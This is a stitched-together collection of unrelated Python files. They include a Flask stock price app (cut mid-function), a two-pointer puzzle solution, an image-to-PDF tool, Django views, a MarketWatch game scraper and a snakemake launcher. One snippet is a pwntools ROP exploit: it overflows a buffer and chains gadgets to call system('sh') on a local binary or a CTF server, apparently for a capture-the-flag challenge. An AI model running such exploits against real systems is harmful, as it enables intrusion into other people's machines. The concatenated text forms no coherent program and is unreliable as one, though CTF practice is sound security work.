    final_str = "".join((bef_str,StockName,aft_str))

    li = []

    for filename in all_files:
        if(filename==final_str):
            print(filename)
            df = pd.read_csv(filename, usecols=['Date','Symbol','Close'],index_col=None, header=0)
            li.append(df)
            break

    frame = pd.concat(li, axis=0, ignore_index=True)
    # print(frame)
    frame.Date=pd.to_datetime(frame.Date, utc= True)

    if(len(EndDate)==0):
        start_date = pd.to_datetime(StartDate, dayfirst = True,utc= True)
        dt = start_date - timedelta(364)
        dt = pd.to_datetime(dt, dayfirst = True,utc= True)
        ans = frame[frame.Date.between(dt,start_date)]

        if(len(ans)==0):
            max = None
            min = None
            error = 'No Data Exist'
            return
        else:
            error = None

        print(len(ans))
        max = ans['Close'].loc[ans['Close'].idxmax()]      # Maximum in column
        # print(max)

        min = ans['Close'].loc[ans['Close'].idxmin()]      # Minimum in column
        # print(min)

    else:
        if(pd.Timestamp(StartDate)>pd.Timestamp(EndDate)):
            max = None
            min = None
            error = 'StartDate must be smaller than EndDate'
            return
        else:
            error = None

        start_date = pd.to_datetime(StartDate, dayfirst = True,utc= True)
        end_date = pd.to_datetime(EndDate, dayfirst = True,utc= True)

        ans = frame[frame.Date.between(start_date, end_date)]

        if(len(ans)==0):
            max = None
            min = None
            error = 'No Data Exist'
            return
        else:
            error = None

        print(len(ans))

        max = ans['Close'].loc[ans['Close'].idxmax()]      # Maximum in column
        # print(max)

        min = ans['Close'].loc[ans['Close'].idxmin()]      # Minimum in column
        # print(min)

@app.route('/', methods=['POST', 'GET'])
def index():
    if request.method == 'POST':
        x = request.form
        solve(x)
    return render_template('index.html',stocks=stlist,Highest=max,Lowest=min,Error=error)

if __name__ == "__main__":
    app.run(debug=True)


def solution(n):
    # 먼저 1부터 더해서 15가 되는 범위를 파악하기
    # 투포인터로 간다!!!!!!!!
    a = [i for i in range(1, n + 1)]
    target = n
    left, right = 0, 0
    cnt = 0
    tot = 0

    while left < len(a):
        if tot == target:
            cnt += 1
            tot -= a[left]
            left += 1
        elif tot > target or right >= len(a):  # 이 부분율 유심히 보길 바란다.
            tot -= a[left]
            left += 1
        elif tot < target:
            tot += a[right]
            right += 1

    return cnt


from pwn import *
import sys

if len(sys.argv) == 1 :
	p = process('./vuln')
else :
	p = connect('icewall-ctf.kr', 10201)

system_plt = 0x400570
pop_rdi_ret = 0x4007F3
ret = 0x400551
sh_str = 0x400814

payload = 'A'*(0x10+8)
payload += p64(pop_rdi_ret)
payload += p64(sh_str)
payload += p64(ret)
payload += p64(system_plt)

p.sendline(payload)

p.interactive()


from PIL import Image
import os
from glob import glob
from pathlib import Path
input("hello")
print("""
     Welcome to the image to pdf converter
     This tool converts each image in a folder into a separate pdf
     """)
folder_path = str(input("Please provide the folder path: "))
file_ext = str(input("Please provide the file extension (eg. jpg, not .jpg: "))
full_path = folder_path + "\\*." + file_ext

for filename in glob(full_path):
     print(filename)
     file_stem = Path(filename).stem
     image = Image.open(filename)
     im = image.convert('RGB')
     im.save(file_stem + '.pdf')


from shiny import App, Inputs, Outputs, Session, module, ui

def my_ui(message: str) -> ui.TagList:
    return ui.TagList(
        ui.input_checkbox("show", "Show secret message", False),
        ui.panel_conditional(
            "input.show",
            message,
            id=module.resolve_id("cond_message"),
        ),
    )

mod_ui = module.ui(my_ui)

@module.server
def mod_server(input: Inputs, output: Outputs, session: Session):
    ...

app_ui = ui.page_fluid(
    ui.h3("Non-module version"),
    my_ui("Lorem ipsum dolor sit amet"),
    ui.hr(),
    ui.h3("Module version"),
    mod_ui("mod", "consectetur adipiscing elit"),
)

def server(input: Inputs, output: Outputs, session: Session):
    mod_server("mod")

app = App(app_ui, server)


import os
import re
import random

import code.app.ip_scout.app_project as app_project
from code.app.ip_scout.ip_aim import IPAim
from code.app.ip_scout.ip_db import IPDB

## some ip function
# http://m.ip138.com/
def get_ip138_ip(url):
    html = IPAim.request_web(url)
    if html is None: return None
    ip = re.findall(u"\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\]", html)
    if len(ip) <= 0: return None
    return ip[0][1:-1]

# http://ip.chinaz.com/
def get_chinaz_ip(url):
    html = IPAim.request_web(url)
    if html == None: return None

    re_stage_1 = re.findall(u"
[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}
", html)
    if len(re_stage_1) <= 0: return None

    ip = re.findall(u"[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}", re_stage_1[0])
    if len(ip) <= 0: return None
    return ip[0]

# http://ip.cn/
def get_ipcn_ip(url):
    html = IPAim.request_web(url)
    if html is None: return None

    re_stage_1 = re.findall(u": [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}", html)
    print()
    if len(re_stage_1) <= 0: return None

    ip = re.findall(u"[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}", re_stage_1[0])
    if len(ip) <= 0: return None
    return ip[0]

class Scout:
    IP_SCOUT_HOME = os.path.dirname( os.path.realpath(__file__) )
    __ip_aim = None
    __ip_db = None
    IP_LIST = []

    def __init__(self, path=None):
        if path is not None:
            self.IP_SCOUT_HOME = path
        app_project.app_init(self.IP_SCOUT_HOME)

        global v2log
        v2log = app_project.get_logger()

        self.__ip_db = IPDB(self.IP_SCOUT_HOME+"/user_data")

        ## ip list must init after app_init
        self.IP_LIST = [
            IPAim("http://2000019.ip138.com/", get_ip138_ip),
            IPAim("http://ip.chinaz.com/", get_chinaz_ip),
            IPAim("http://ip.cn/", get_ipcn_ip),
            IPAim("http://members.3322.org/dyndns/getip")
        ]

    @staticmethod
    def is_ip(ip):
        if ip is None:
            return False
        test = re.findall(u"[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}", ip)
        if len(test) <= 0: return False
        return True

    def __ip_handle_tail(self, cb=None, ret_list=[]):
        if cb is not None:
            if len(ret_list) == 0:
                cb(ret_list)
                return

            # get first cell in list
            ip_in_process = ret_list[0]

            # get first cell in db
            ip_in_db = self.__ip_db.query_last_record()
            if (ip_in_db is not None) and (ip_in_db['ip'] == ip_in_process):
                v2log.info("ip %s never change."%(ip_in_process))
                cb([])
                return

            self.__ip_db.add_ip_record(ip_in_process)
            cb(ret_list)
        return

    # ["ip"]
    def handle(self, callback=None, rand=False):
        ret_list = []
        if rand:
            test_id = (random.randint(0, len(self.IP_LIST)-1))
            ado = self.IP_LIST[test_id]
            ip = ado.get_ip()
            if Scout.is_ip(ip):
                v2log.info("parse %s success. ip is %s"%(ado.get_url(), ip))
                ret_list.append(ip)
            else:
                v2log.warning("parse %s fail."%(ado.get_url()))

            self.__ip_handle_tail(callback, ret_list)
            return

        for ado in self.IP_LIST:
            ip = ado.get_ip()
            if Scout.is_ip(ip):
                v2log.info("parse %s success. ip is %s"%(ado.get_url(), ip))
                ret_list.append(ip)
            else:
                v2log.warning("parse %s fail."%(ado.get_url()))

        self.__ip_handle_tail(callback, ret_list)


#!/usr/bin/env python
"""
Pool-based monitoring of the live logs of the smallest job ID running
"""
import os
import nmpi
import time

USERNAME = 'llb'
COLLAB_ID = 14744

c = nmpi.Client(USERNAME)
latest_job = int(c.completed_jobs(COLLAB_ID)[0].split('/')[-1])
URI = c.resource_map['queue'] + '/{}'

def find_running_job(curr):
    try:
        status = c.job_status(URI.format(curr + 1))
        if status == 'submitted':
            return curr
        print('Skipping job #{} ({})...'.format(curr, status))
        return find_running_job(curr + 1)
    except Exception as ex:
        if 'no such job' in str(ex).lower():
            return curr
        else:
            raise ex

while True:
    latest_job = find_running_job(latest_job)
    log = c.get_job(URI.format(latest_job))['log']

    os.system('clear && date')
    print('\nLatest job #{}...\n{}\n|=> job={}'.format(latest_job, log, latest_job))

    time.sleep(.1)


from django.http import HttpResponseRedirect, Http404
from django.core.exceptions import ImproperlyConfigured, ValidationError
from django.contrib.contenttypes.models import ContentType
from django.views.generic import ListView, TemplateView
from formtools.wizard.views import SessionWizardView

from .mixins import PaginatedMixin

__all__ = ['PaginatedListView', 'ObjectHistory', 'MultiStepCreateView']

class PaginatedListView(PaginatedMixin, ListView):
	'''Base view for views that must limit the number of items displayed'''

	def get_context_data(self, **kwargs):
		context_data = super().get_context_data(**kwargs)

		# Add the pagination URLs to the context, an ordered list of (page number, URL)

		# Extract the current page number and total number of pages from the context
		if context_data['is_paginated']:
			current_page_number = context_data['page_obj'].number
			total_number_pages = context_data['paginator'].num_pages
		else:
			current_page_number = 1
			total_number_pages = 1

		context_data['pagination_urls'] = self.get_pagination_urls(current_page_number, total_number_pages)
		context_data['current_page_number'] = current_page_number

		return context_data

class ObjectHistory(TemplateView):
	'''View to display the entire history of an object'''
	template_name = 'common/object_history.html'

	def get_context_data(self, **kwargs):
		context_data = super().get_context_data(**kwargs)

		# Get the content type of the object model
		try:
			content_type = ContentType.objects.get(app_label = kwargs['app_label'], model = kwargs['model'])
		except (ContentType.DoesNotExist, KeyError):
			raise Http404('Model not found')

		# Get the object model
		model = content_type.model_class()

		# Check if object model has history
		if not hasattr(model, 'history'):
			raise Http404('Object history not found')

		# Get the entire history of the object, by filtering on the object_pk
		# The field that correspond to the object pk (usually id) can be extracted by the pk attribute name
		filters = {model._meta.pk.attname: kwargs['object_pk']}
		context_data['history_records'] = model.history.filter(**filters).order_by('pk')

		return context_data

class MultiStepCreateView(SessionWizardView):
	'''
	View to create a new object instance by using multiple forms with a response rendered by template
	The instance from the form of one step is passed as the instance for the form of the next step
	All forms should be ModelForm for the same model
	'''

	success_url = None

	def __init__(self, *args, **kwargs):
		super().__init__(*args, **kwargs)
		# Initialise the local instances storage
		# Note: instance_dict is shared amongst all instances of the view
		self.instances = dict()

	def process_step(self, form):
		# Save the instance for the next step
		if self.steps.current != self.steps.last:
			self.instances[self.steps.next] = form.save(commit=False)

		return super().process_step(form)

	def get_form_instance(self, step):
		# If instance does not exists for the step, create it
		if step not in self.instances:
			try:
				# Get it from the instance dict
				self.instances[step] = self.instance_dict[step]
			except KeyError:
				if step != self.steps.first:
					# Recreate it from the stored data of the previous step
					previous_step = self.get_prev_step(step)
					form = self.get_form(step = previous_step, data = self.storage.get_step_data(previous_step), files = self.storage.get_step_files(previous_step))
					if not form.is_valid():
						raise ValidationError(form.errors)
					else:
						self.instances[step] = form.save(commit=False)
				else:
					self.instances[step] = None

		return self.instances[step]

	def done(self, form_list, **kwargs):
		# Save the instance of the last form
		self.object = list(form_list)[-1].save()

		# Always redirect after a POST
		return HttpResponseRedirect(self.get_success_url())

	def get_success_url(self):
		'''Returns the supplied URL'''
		# Copied from CreateView
		if self.success_url:
			url = self.success_url.format(**self.object.__dict__)
		else:
			try:
				url = self.object.get_absolute_url()
			except AttributeError:
				raise ImproperlyConfigured('No URL to redirect to. Either provide a url or define a get_absolute_url method on the Model')
		return url


import re
import json
import time
import moira
import random
import requests
import playtime as play # the function I wrote to find the days played of a player
import numpy as np
import pandas as pd
import games as game
import mmutils as mm
# import userscan as user
from moira import moira
from bs4 import BeautifulSoup
#from googlefinance import getQuotes

"""
    Using BeautifulSoup, this will scrape a game's user data. Using this data,
    we can rank player performance, and find the trades that they have used.
"""
def pageCounter(gameName):
    """
        Find the URLs of all the pages of a game. MarketWatch only allows you to
        view the information of 10 players at a time. This fixes that problem.

    :output:            Returns a list of page URLs.

    :param gameName:    The name of the game you wish to scan. It can be found
                        in the URL of the game's main page. Ex: stock-game-2016
    """
    pages = [] # list to hold all the 10-user long pages of a game

    # setting up BeautifulSoup
    url = "http://www.marketwatch.com/game/" + gameName + "/ranking"
    r = requests.get(url)
    soup = BeautifulSoup(r.content, "html.parser")

    # define constants
    total = 0 # int that represents the amount of players in the game

    # A <p> of at the bottom of the page contain the amount of players (1-10 of)
    people = soup.find_all("p")
    for item in people:
        if item.parent.name == 'nav':
            re1='.*?'	# Non-greedy match on filler
            re2='\\d+'	# Uninteresting: int
            re3='.*?'	# Non-greedy match on filler
            re4='\\d+'	# Uninteresting: int
            re5='.*?'	# Non-greedy match on filler
            re6='(\\d+)'	# Integer Number 1

            rg = re.compile(re1+re2+re3+re4+re5+re6,re.IGNORECASE|re.DOTALL)
            m = rg.search(item.text)
            if m:
                int1=m.group(1)
                total = int(int1)
                print("There are " + str(total) + " players in the game.")

    # find the URLs of all the pages of a game
    for x in xrange (0,int(round(((1.0/3.0)*total))),10):
        # http://www.marketwatch.com/game/stock-fears/ranking?index=10&total=974
        if x < 10: # the first page's url can do with or without the index pieces
            url = ("http://www.marketwatch.com/game/" +
            gameName +
            "/ranking"
            )
        else:
            url = (
            "http://www.marketwatch.com/game/" +
            gameName +
            "/ranking?index=" +
            str(x) +
            "&total=" +
            str(total)
            )
        pages.append(url)

    return pages

# constants that we will need later on in the program.
ranks = []
names = []
returns = []
player_urls = []
transaction_urls = []
performance_urls = []
networths = []
total_cash_returns = []
todays_percent_returns = []
amtOfTrades = []
numDaysPlayed = []

def pageScan(pageurl):
    """
        Parses a page of a game, and collects player information-- storing it in
        lists to later be transformed into pandas dataframes.

    :input:             The URL of a given game.

    :output:            Returns a list of page URLs.

    :param pageurl:     The URL of a given game. Is inputted from gameScan().
    """
    # url = "http://www.marketwatch.com/game/bijans/ranking"
    # setting up BeautifulSoup
    url = pageurl
    r = requests.get(url)
    soup = BeautifulSoup(r.content, "html.parser")

    # find ranks, names, returns and urls and place them in lists.
    td_rank = soup.find_all("td", {"class" : "rank"})

    td_names = soup.find_all("td", {"class" : "name"})

    player_url = soup.findAll('a', href=re.compile('/portfolio/holdings\?name='))

    td_networth = soup.find_all("em")

    # total cash returns
    for row in soup.findAll('table')[0].tbody.findAll('tr'):
        cash_return_column = row.findAll('td')[4:5]
        for item in cash_return_column:
            if 'B' not in item.text:
                total_cash_returns.append(float(item.text.replace("\t", "").replace("\r", "").replace("\n", "").replace("$", "").replace(",","")))
            if 'B' in item.text:
                total_cash_returns.append(float(0))

    # today's percent returns
    for row in soup.findAll('table')[0].tbody.findAll('tr'):
        percent_return_column = row.findAll('td')[3:4]
        for item in percent_return_column:
            if 'B' not in item.text:
                todays_percent_returns.append(float(item.text.replace("\t", "").replace("\r", "").replace("\n", "").replace("%", "").replace(",","")))
            if 'B' in item.text:
                todays_percent_returns.append(float(0))

    # Filter for data
    for item in td_rank:
        ranks.append(item.text.replace("\t", "").replace("\r", "").replace("\n", ""))

    for item in td_names:
        names.append(item.text.replace("\t", "").replace("\r", "").replace("\n", ""))

    for item in td_networth:
        networths.append(float(item.text.replace("$","").replace(",","").replace(")","").replace("(","-")))

    for item in player_url:
        url = 'http://marketwatch.com' + str(item.get('href'))
        player_urls.append(url)
        transaction_urls.append(url.replace("holdings", "transactionhistory"))
        performanceString = url.replace("holdings", "performance")
        performance_urls.append(performanceString)
        numDaysPlayed.append(play.playTime(performanceString))

    for row in soup.findAll('table')[0].tbody.findAll('tr'):
        trades_column = row.findAll('td')[5:6]
        for item in trades_column:
            amtOfTrades.append(float(item.text))

def gameScan(gameName):
    pageUrls = pageCounter(gameName)
    index = 0
    for url in pageUrls:
        index+=1
        pageScan(url)
        # time.sleep(1)
        print("Finished " + str(index) + " of " + str(len(pageUrls)))
################################################################################

###MAIN FUNCTION
# print("Finding games...")
# game.getGameURLs("http://www.marketwatch.com/game/find?sort=NumberOfPlayers&descending=True")
# games = game.removeOld()
# games = set(games) # remove duplicates
# print("Found " + str(len(games)) + " games.")
#
# # begin scanning games and their users
# gameCountIndex = 0
# for game in games:
#     gameCountIndex += 1
#     print("Scanning " + str(game) + ": (" + str(gameCountIndex) + "/" + str(len(games)) + ")")
#     gameScan(game)
# del gameCountIndex
# print("\nScanning complete.")

################################################################################

# +++++++++++++++++++++++++++++++  Debugging  ++++++++++++++++++++++++++++++++++
gameScan("hockinson-4")
# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# transform the lists into series(es?) so that they can be merged into a
# pandas dataframe for further manipulation
ranks_series = pd.Series(ranks)
names_series = pd.Series(names)
networths_series = pd.Series(networths)
todays_percent_returns_series = pd.Series(todays_percent_returns)
total_cash_returns_series = pd.Series(total_cash_returns)
amtOfTrades_series = pd.Series(amtOfTrades)
player_urls_series = pd.Series(player_urls)
transaction_urls_series = pd.Series(transaction_urls)
performance_urls_series = pd.Series(performance_urls)
numDaysPlayed_series = pd.Series(numDaysPlayed)

# ready the series(es?) into a dictionary which will be changed into dataframe
d = {
    'Rank' : ranks_series,
    'Name' : names_series,
    'Net Worth' : networths_series,
    'Today\'s Returns' : todays_percent_returns_series,
    'Total Cash Returns' : total_cash_returns_series,
    'Trades' : amtOfTrades_series,
    'Player URL' : player_urls_series,
    'Transaction URL' : transaction_urls_series,
    'Performance URL' : performance_urls_series,
    'Days Played' : numDaysPlayed_series,
    }

df = pd.DataFrame(d) # change dictionary into dataframe

print("Filtering data...")
# Filter out those with negative returns and with barely any data
df = df[df['Total Cash Returns'] > 0]
df = df[df['Days Played'] > 10] # So that their eff. score is more accurate
df = df[df['Trades'] > 1] # because inactive people do not have negative returns

# print df
# df.to_csv("unsorted.csv")

### Perform some calculations on the remaining users
df['total percent returns'] = (df['Total Cash Returns'] / (df['Net Worth'] - df['Total Cash Returns']) * 100)
df = df.sort_values(by='total percent returns', ascending=False)
# only take the top 1000 users
df = df[:1000]
# df.to_csv("top 1000.csv")

# -----
df['total percent returns per day'] = df['total percent returns'] / df['Days Played']
df = df.sort_values(by='total percent returns per day', ascending=False)
df = df[:500]
# df.to_csv("top 500.csv")

# -----
df['trades per day'] = df['Trades'] / df['Days Played']
df['percent returns per trade'] = df['total percent returns'] / df['Trades']
df = df.sort_values(by='trades per day', ascending=False)
df = df[:250]
# df.to_csv("top 250.csv")
#

print("Calculating efficiency scores for users...")
test = df['Performance URL'].tolist()
efficiencyScore = []
for url in test:
    efficiencyScore.append(mm.getConsecutiveDays(url))

df['eff_score'] = efficiencyScore_series = pd.Series(efficiencyScore, index=df.index)
# df.to_csv("top 250 eff.csv")

# total aggregate ranking
df['percent_returns_ranked'] = df['total percent returns'].rank(ascending=1)
df['percent_returns_per_day_ranked'] = df['total percent returns per day'].rank(ascending=1)
df['trades_per_day_ranked'] = df['trades per day'].rank(ascending=1)
df['eff_score_ranked'] = df['eff_score'].rank(ascending=1)
df['mmScore'] = df['eff_score_ranked'] + df['trades_per_day_ranked'] + df['percent_returns_per_day_ranked'] + df['percent_returns_ranked']
# df.to_csv("mmScore.csv")

df = df.sort_values(by='mmScore', ascending=False)
df = df[:50]
df.to_csv("players.csv")
print("List of top 50 users stored in 'players.csv'")


import argparse
import os

def main():
    parser = argparse.ArgumentParser(description="Run snakemake pipeline")
    parser.add_argument('--account', required=True, help='Input slurm account')
    parser.add_argument('--fasta', required=True, help='Path to the input FASTA file')
    args = parser.parse_args()

	# Function to create slurm dir outputs
    if not os.path.exists("0_slurm_logs"):
        os.mkdir("0_slurm_logs")

	# Snakemake command
    os.system(f"""snakemake --snakefile snakefiles/Snakefile --config fasta_file={args.fasta} \
                --cluster 'sbatch --account={args.account} \
                --output=0_slurm_logs/{{params.rule_name}}_slurm_%j.log \
                --error=0_slurm_logs/{{params.rule_name}}_slurm_%j.log \
                --time={{resources.time}} --mem={{resources.mem}}MB --cpus-per-task={{resources.cpu}}' --jobs 9999""")
if __name__ == '__main__':
    main()